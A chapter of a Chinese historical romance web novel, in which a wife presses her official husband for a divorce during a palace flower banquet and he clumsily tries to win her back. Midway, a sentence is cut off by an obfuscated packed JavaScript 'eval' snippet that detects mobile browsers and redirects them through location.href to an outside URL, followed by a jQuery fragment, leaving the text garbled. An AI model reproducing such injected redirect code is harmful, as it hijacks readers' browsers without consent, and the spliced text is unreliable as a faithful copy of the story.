这是官道，前前后后停着不少马车，主人家都是有头有脸儿的门户。


    一直僵持下去不是个事儿，恐叫外人笑话。


    靳连珠没法子，只得暂且低头。


    她缓缓伸出手，搭上他的掌心，借力下车之后就要松开，岂料他率先反应过来，大力攥住她的手，借着宽大衣袖的遮掩，腕子一转，与她十指相扣，亲密无间。


    靳连珠先是意外，滚圆的眼睛瞪得更圆乎了，跟擦洗锃亮的葡萄一般，心道，今儿太阳打西边儿出来吗，有这么些外人在场，他竟肯与她肢体接触。


    紧接着回过味儿来：恐怕与早晨送来的首饰一样，又是他自作聪明的哄人法子。


    靳连珠不领情，拧着腕子要挣脱。


    恰巧有一位面生的大人携娘子前来问候，靳连珠不敢再动，硬挤出一丝笑意回礼。


    随后双方结伴步行前往行宫。


    期间聊起诸多见闻，靳连珠方才知晓，这座行宫的监造竟也有沈敬行的一半功劳。细算起来，那时他不过十五六岁，果真当得起官家“矜智负能”的赞誉。


    大抵觉得沈敬行性子太沉闷无趣，那位大人说得口干舌燥，兀自沉默一会，眼尖地瞅见前方有人，立即告辞，拉着娘子快步过去攀谈。


    鸟鸣声不绝于耳，花香沁人心脾，靳连珠紧绷的神经得以松懈，静静观赏四周的景色。


    沈敬行怕她心中龃龉未消，自己太过冒进只会适得其反，牵一会便痛快地放开了。


    微风灌入袖中，吹着出汗的手心儿泛冷意。靳连珠掏出帕子仔细擦拭汗水，顺势离他远一些，可沈敬行紧跟着又贴近几分，偏要与她并肩而行。


    靳连珠不欲在外发作脾气，闷闷地忍着。


    沈敬行高她许多，稍一低头，看见她鬓间扑棱翅膀的蛱蝶钗，思量片刻，主动问起：“我差人送去的那些首饰，你一件儿也瞧不上？”


    按理来说不应该。


    她惯来最喜欢他送的东西，更遑论是他亲自挑的。


    靳连珠没直面回答他喜不喜欢，转而道：“待和离的时候，我不会带走任何沈家的东西，所以你今后别送了，怪麻烦的。”


    “还有。”


    靳连珠觉得有必要着重提一嘴：“你别责怪敛秋没办妥差事。”


    沈敬行刚见好转的心情瞬间跌至谷底。


    本以为放靳连珠冷静一段日子就能考虑清楚，可她竟仍惦记着和离，也不知到底受谁的嗦摆，俨然是铁了心了。


    从前怎么没发现她如此冥顽不灵。


    再者，她与其关心敛秋，还不如多问问他。


    这些天他整夜宿在工部，吃不下睡不好，除去忙公务，挤出的空闲全用来思索他们之间的事儿。


    以前他从不会放纵自己像这般虚度光阴，而今也为她破例了。


    可她却真就如同嘴上说的那般，对他全然不抱希望，静等着他改变心意在和离书上签字。若说闹别扭是妇人的常态，那她闹得也忒过火了。


    沈敬行绷起脸，兀自沉默着，很不想在这种原则性问题上低头让步。


    两人一路无话至行宫，甄宛筠早早儿就在此候着了，望见一对璧人往这方来，猜到是靳连珠，撇下官人赶紧过去迎接。


    许久不见，靳连珠自也是高兴的。


    甄宛筠亲昵地挽住她胳膊，念叨：“前些日子听闻你病了，我着实担忧，赶到府上探望，却得知你晕着无法见人。如今见你面色红润，体格也不似从前那么娇弱了，就知沈敬行把你养的极好，一颗悬着的心便也能放回肚子里了。”


    听见后半句，靳连珠表情有一瞬的凝滞。


    沈敬行紧皱的眉头则舒展开，应下姗姗来迟的王濮存一声问候。


    寒暄片刻，靳连珠同甄宛筠走上相反的小径，原以为她要带自己先向皇后娘娘请安，可越走越偏僻，靳连珠奇怪：“这是往哪儿去？”


    “随处逛逛。”


    “娘娘那边……”


    “不慌不慌。”


    甄宛筠笑说：“你们来得晚一些，不晓得官家刚下了口谕，允臣子们不必前去见礼，只管携内眷赏花，莫负春景。”


    靳连珠方才安下心。


    前方花开的正艳，远看去彷如一片浓密的绯云，香味扑鼻却不烈，偶尔从天际边掠过几只鸟儿，嗓音细细、低低的，高低起伏，比乐坊里的曲儿更动听。


    坐在小亭中，享受日光沐浴，微风拂面而过，靳连珠只觉近来因为那些杂事滋生的晦暗气息被驱散不少。她小幅度活动着肩膀，身子逐渐松快。


    甄宛筠惯来爱热闹，顾及靳连珠内敛的性子，没带着她扎到人堆里，可嘴巴一张一合的，压根儿就没歇下过。


    说着说着，便从家长里短聊到今日的赏花宴。


    此事也是她入宫时偶然听来的。


    “娘娘不知因为什么生官家的气，一连多日都没让官家进入寝宫，官家无可奈何，这才想出借着赏花宴哄娘娘开心。表面上，官家不让众臣前去拜见，实则是不方便，好不容易得来与娘娘独处的机会，不得多多聊一会，把误会解开么。”


    靳连珠没想到甄宛筠这么大的胆子，竟敢私下八卦大内的事儿。


    她慌张地左瞧右瞧，确认婢女们站得远远的，压根听不见，周围一时又没有他人经过，紧绷的神经得以舒缓，但一颗心还是咚咚撞着胸膛。


    靳连珠赶紧竖起手指抵在唇边：“嘘——”


    “你慎言呀。”


    甄宛筠全然不当作一回事，乐呵呵地：“这已不算甚么秘密了。前夕诸位大人滞留宫中，彻夜未归，吓得我以为出了什么要命的事，连夜入宫拜见太后娘娘，方才得知，官家是为了让大伙儿一起帮忙想主意。”


    靳连珠怔愣过后，颇不可思议。


    官家贵为九五之尊，尚且能拉低面子，为妻子做到这份上。


    她心头五味杂陈，扯着嘴角强笑说：“官家和娘娘的感情这般深厚。”


    “那是自然。外人都道官家宠爱贵妃娘娘，殊不知，感情一事，不能全靠嘴上说，得看付出多少。肯为谁脚踏实地的做些事，就证明心在谁身上。”


    靳连珠缄默不语，兀自斟酌着她的言论。


    甄宛筠身子蹭啊蹭的，如愿蹭到靳连珠旁边，十分熟络的倚着她肩头剥橘子，喃喃自语：“那天夜里，沈敬，呃，沈大人也被留在宫里了。他回家之后没跟你说明吗？”


    靳连珠接过她递来的橘子，被问得心头难受，眼睫轻微颤了颤。


    最近他们都没怎么见面，偶尔一见面，开口便是和离之事，最终闹得不欢而散。放在以前，沈敬行更不会主动向她报备行踪。


    某些与他相关的消息，她都是从外人口中得知的。


    这回也不例外。


    略一思忖，靳连珠还是没把两人之间发生的那些据实告知甄宛筠，和离虽然常见，但对沈敬行而言，或许会让他遭受非议。


    她往嘴里塞了一瓣橘子，被酸的睁不开眼，含糊答：“我没问。”


    甄宛筠却误解了，义愤填膺的，帮她说话：“肯定是他没讲，这个闷葫芦，亏得你时时刻刻惦记着他。”


    靳连珠忙顺她的气：“倒也没……”


    没有，时刻惦记着他。


    甄宛筠瘪瘪嘴，话锋一转：“不过，竟敢在这个时候提分家，看来他也不是个不知道疼人的。”


    暂且不论分家这一层，靳连珠不懂甄宛筠所言的“这个时候”是指的什么，但晓得肯定是沈敬行又没告知她的事情。


    被蒙在鼓里的感觉并不舒服，索性靳连珠已经习惯了，干脆一笑了之，结束这个令她不快的话题。


    -


    天际擦黑，行宫设宴，分男女两席。


    甫一落座，不少人便闻着味儿凑到靳连珠跟前献殷勤，弄得她受宠若惊，无措地饮下几盏酒，随便找个借口从席上开溜。


    甄宛筠也识得眼色。


    靳连珠一起身，她便赶快迎上前挡住那些纠缠不休的人。


    慌慌张张逃到白天经过的湖畔，靳连珠往后瞧发现没人跟上，不由得松口气，迈下台阶，走入小径中，寻到个僻静之处坐着吹风醒酒。


    白芷也被那阵仗唬到，纳闷：“他们犯什么魔怔？”


    ——还能为着什么。


    靳连珠心道：沈敬行近来在官家面前很得脸，承担南边修建堤坝的公务，又享有先斩后奏之权，皇城内少不了闻着味儿来献殷勤的人。


    男子有男子之间恭维的法子，但那些都是明面上的，至于他们手伸不到的地方，少不了内眷们往来走动，增进彼此的关系。


    更何况，沈敬行这么一个公认的二十四孝子，竟然为她闹到要分家的份儿上。在外人眼中，夫妇感情不可谓不深厚。


    逮着今日的机会，但凡有求于沈敬行或想从他那儿分一杯羹的门户，女眷们自然要竭尽全力讨好她，以盼她向他吹吹枕头风，往后的事儿便好办许多。


    靳连珠这会子酒意上头，视野内一片迷蒙，实在没心思跟白芷掰开讲解其中的门道，于是单手撑着脑袋，阖上双眼休憩。


    见状，白芷悄悄退到不远处守着。


    -


    多亏有王濮存和工部另外一位大人帮忙挡酒，沈敬行这才得以脱身，本想找个僻静的地儿醒醒神，转眼瞧见候在廊下的白芷，走近果然发现靳连珠。


    三月的天儿，夜里风吹得还是很凉。


    靳连珠衣衫单薄，裙摆飘摇，皎洁月光洒落在身上，隐约勾勒出娉婷身子。她一动不动的，安静到似是睡着了。


    突兀的，仿佛空气中有柳絮飘入鼻腔，沈敬行感觉到一阵酥痒，情不自禁地挠了挠喉结，随后为了故意隐藏自己的这份不自然，挥手示意白芷到更远处守着。


    靳连珠喝多了很少发疯，多数时候更容易犯困，眼下就格外想念雅韵轩的软榻，身子骨乏累的不得了。偏她又不能派人去催沈敬行，显得失礼。


    这么胡思乱想着，额角竟然微微发胀。


    恰有一只泛着凉意的指尖从她颈侧缓慢抚上来，激得她背脊一颤，猛地扭身躲开，表情十分戒备。


    沈敬行伸出的手堪堪停在半空中，尴尬道：“是我。”


    靳连珠也是一怔。


    这方距男席有段路程，他怎么溜达到这儿来了？


    又一阵风起，两人离得近，沈敬行嗅到一股淡淡的酒香味儿。他以为是自己身上的，担心会熏到她，往后稍退一步，问：“累了？”


    靳连珠垂眼：“嗯。”


    沈敬行唤白芷到近前来，吩咐她到席间去找拂冬，套好马车，到行宫南门候着。


    “不去向官家娘娘见个礼再走？”靳连珠觉得不妥。


    沈敬行一时无言。


    他不知该如何向她说明，两位贵人这会子恐怕腾不出空。


    天还没完全黑的时候，梅文殿的宫人们就被官家撵到大门外候着了，谁也靠近不了院子，更不知寝殿内在发生什么。


    但，也不是很难想到。


    沈敬行面皮薄，在这事上终究保守一些，委实张不开这个嘴。


    他碰了碰发烫的耳根，含糊应：“不必。”


    浓浓夜色遮掩住他的异样，靳连珠没发觉什么，低头从他身旁绕过去——她晓得他不是个不知轻重的，既然说了不必，那肯定就是不必。


    以往，沈敬行都是那个自顾自走在前头的人，反正他步子有意放慢，用不了多久，靳连珠就会跌跌撞撞地碰到他，顺势抓着他的手，一边撒娇一边晃悠。


    如今的情况截然相反。


    沈敬行不动声色地盯着靳连珠的背影，心中默念着数字，可眼瞅着一条小径就到头，她自始至终都没回过一次脸，全当作身后没他这个人。


    沈敬行心头升起一股浓烈的失落感，破天荒的头一回，想闹出些甚么过分的动静，好吸引她的注意。


    他脚步一歪，直接撞上旁边的石柱，咚得一声响。


    没把控好力道，疼得半边身子真真儿在发麻。


    痛吟也是真情实感的。


    私下静谧无声，因而靳连珠听得真切，脚步一停，转身看向他：“醉成这样？”


    她记得他酒量还算不错。


    沈敬行没应答，扶着石柱勉强站直，看样子并不好受。


    靳连珠不得已折返到他旁边，搀着他的臂弯，询问：“磕到哪儿了？”


    “左肩。”


    难得卖惨一回，沈敬行心虚不已，脑袋低垂，没看她。


    靳连珠不再多言，扶着他，缓慢前行。


    行宫这条小径格外僻静，两侧隔几米的石柱上燃着烛火，入夜之后只闻虫鸣蛙叫，连带着花香味儿都没那么浓重了。


    靳连珠夜里看不太清路，遂把头垂得更低。


    沈敬行瞥不见她的表情，心下无端慌乱，主动伸出食指抵住她的下巴，稍微用力向上抬，暗示她不要这么弓背。


    孰料，靳连珠反应更快一些，偏头直接躲开他接下来的触碰。眼仁在黝黑的夜里也亮着光，照得沈敬行那点小心思无处遁形。


    “肩膀不疼了？”


    沈敬行眸光闪烁：“……还是，有些疼的。”


    靳连珠便顺理成章的理解为，那样的微末痛觉已经不耽误他行走了，于是撤回手，与他保持一段距离。


    馨香味儿骤然远离，沈敬行眉心一跳，下意识去挽留。


    他手死死握住她的，教人挣脱不得。


    靳连珠意外之余，又有些烦闷。


    他们之间分明已有了结论，却非要纠缠，弄得没完没了了，徒增烦恼，招惹麻烦。


    最让靳连珠摸不清的当属沈敬行的行为举止。


    他素来果断，何况这桩婚事本就阴差阳错，彼此之间又无甚深厚感情，可他一而再再而三的藕断丝连，使得她有种不知道该怎么讲述的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15203676|161771||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    怪异。


    靳连珠不再作徒劳的挣扎，抿了抿嘴，道：“你别误会，我这回并未使性子。”


    沈敬行瞳孔骤缩，当即决定当作没听见，自顾自说：“工部的事务都交接完毕，最迟十日之后便可出发前往淮州，义兄那方，我明儿差人过去问问，若是收拾妥当了，咱们便提前启程。”


    靳连珠面色不佳，心道：又来了。


    若是他听见不想听的，干脆装聋作哑，或者顾左右而言其他，根本不肯心平气和的与她对话。


    靳连珠无可奈何地叹：“待你肯放我离开，那我便可日日待在家中，也不必与双亲分离了。”


    类似的话听得多了，便成沈敬行心头的一根刺，轻易触碰不得。


    他当即寒了眼，正欲反驳，却被她抢先拦下话头。


    “我本以为，依照你的聪明才智，这几日过去就能想得明白。我提和离，并非从婆母那儿受委屈，不敢反抗就跑到你跟前拿乔，更不是介意你蓄婢纳妾。”


    “至于长辈之间不公平的交易，也只是导火索罢了。”


    “真真儿是因为，我同你过不下去了。”


    他们从未平等的相处过，这样的夫妻关系反倒更像上下级。


    沈敬行真正想要的是一位对官人无条件服从，待沈家能不计较付出，贤惠稳重的大娘子。而靳连珠所求却是缠绵悱恻，风花雪月，更要一位敞开心扉坦诚相待，可以平平淡淡共度岁月的官人。


    所以，就算没有被偶然戳穿多年前那桩交易，随着年岁流逝，他们之间的矛盾总会迸发，日子总有过不下去的时候。


    还不如，就停在这里。


    总好过撕破脸面，最后提起彼此唯余恨意。


    沈敬行直直地盯着靳连珠，恨不得用目光在她心口挖个大洞，瞧一瞧她的心脏还热乎不？可事实上，靳连珠俨然下定决心了。


    跟之前那回全然不同，靳连珠没哭没闹，没说那些抱怨的言辞。他送的礼物她看都不看，他低声下气的认错，她听都不听。


    几日过去，她仍旧不改想法，十分淡然的跟他分析利弊，仿佛已经参破红尘，悟出真理，故而能做到理性至极。


    反倒是他，额角直抽抽，胸口难以言喻的堵塞。


    沈敬行掌心渗出细密的汗珠，体温逐渐升高，尽管如此，他仍没有放手的想法，甚至牵得更紧一些，企图用这样幼稚的法子彰显他们的关系。


    可惜，再长的路也有走到尽头的时候。


    望见挂着灯笼的马车，还有周遭三三两两离席的大人们，靳连珠咬紧牙，狠狠掐他一把，指甲陷入肉里去，钻心的疼。


    沈敬行吃痛，条件反射的松懈力道。


    趁这空隙，靳连珠拎起裙摆，迅速钻入车厢。


    沈敬行原打算直接跟进去，却被王濮存撞见，叫到一旁闲聊。


    他今夜为他挡下不少酒，醉态酩酊，说起话来还大舌头。这样了，还不忘拉着他聊什么诗词歌赋。


    沈敬行哪有心思。


    王濮存跟前儿的小厮不在，应该是向甄宛筠传口信儿去了。


    女席到这边有段距离，甄宛筠一时半会儿的赶不过来。


    沈敬行又不能把醉醺醺的王濮存丢在路边，刚想唤敛秋到近前看着他，转念思及与靳连珠刚刚闹得不愉快，眼下恐不便再过去烦她，省得彼此之间的嫌隙更深。


    他差使拂冬先驾车送大娘子回府，独自留下来陪着王濮存。


    说完之后，沈敬行眼神往车帘那方瞟，期盼着靳连珠能露个面，叮嘱他一两句。


    从前她惯来是如此的。


    偏偏今时不同往日。


    夜路难行，马车驾驶起来慢一些，待完全消失在视野里的时候，沈敬行才恋恋不舍的收回视线，紧接着，听见王濮存因为酒醉变得格外温吞的声调：“你家娘子，怎的，一声不吭就走了？”


    连外人都看出不对劲了。


    沈敬行睫毛扑闪两下，失落地低垂。


    片刻后，他冷不丁说：“我有一友人，近日遇见一桩很棘手的麻烦，向我寻求解决的法子，偏我也不擅此道。正巧你在，念叨给你听听，保不准你能有解决之法。”


    沈敬行似是被风吹得冷，低头整理本就一丝不苟的衣衫，低喃：“你意下如何？”


    周遭无人，王濮存卸下担子，大喇喇往后一倒，靠在假山上合了眼。


    “请讲。”


    沈敬行咽了口唾沫，试量着开口：“那位友人与他娘子感情和睦，承诺永不纳妾，不成想，家中长辈竟背地里为他张罗。娘子因此与他闹脾气，扬言要和离，他百般解释也无法让娘子消气，委实苦恼不已。”


    “依你之见，此事该怎么处理？”


    王濮存以为是公事，没想竟是私事。


    还是别人家的私事。


    他诧异地看向沈敬行，险些以为他借口友人，实则在讲自个儿。


    偏偏沈敬行一脸坦荡，俨然一副行得正坐得端的君子模样。自从他成亲，品尝过情爱滋味之后，寡淡的性子改变不少，或许就有这份闲情逸致管起旁人的烦恼了。


    再联想到他们夫妇，惯来是靳娘子更黏人一些，沈敬行又为她做到要分家的地步。由此可见，二人的感情且深厚着呢。


    于是打消念头，认真思索起他口中关于友人的那桩麻烦。


    “纳妾成了？”


    “当然没有。”


    沈敬行反感地皱眉：“他盟誓在前，怎可违背。”


    王濮存被他略显激动的语调弄得怔愣一瞬，不过未起疑心。依照自己的经验，掂量着作答：“那说明，他认错的态度和法子都没让娘子满意。”


    沈敬行唰得抬起眼帘：“何解？”


    “首先，认错的态度上要端正。二人因为什么生的矛盾，就得积极解决根源，绝对不能回避。有时候娘子嘴上不说，实则心里一笔一笔都记着呐，且看哪天忍无可忍直接爆发，再想挽回就晚了。”


    沈敬行觉得言之有理，听得格外认真，颔首示意他继续。


    王濮存清清嗓：“归根结底，还是纳妾坏了事儿。”


    “做官人的得先稳住娘子的心。须知，夫妇之间，甜言蜜语是最不嫌多的，谁不愿多听几句掏心窝子的好话？”


    “再者，得解决家中有异心的长辈。夫妇关系不睦，多由长辈从中挑唆，今儿一个美妾，明儿一个通房女婢，搁谁能受得了？”


    “如果娘子还不乐意给台阶下，那便依照她的喜好多多备礼，必要时候，就别端着架子了，向娘子低头服软亦不失大丈夫风范。”


    “这般双管齐下，任凭天大的矛盾都能翻篇儿。”


    沈敬行细细咂摸一番，愁绪不减分毫：“如果这些法子都用过了，娘子还是心意不改呢？”


    王濮存耸耸肩，无可奈何道：“那，就是铁了心要离了。”


    沈敬行呼吸一顿，脸色霎时变得难看起来。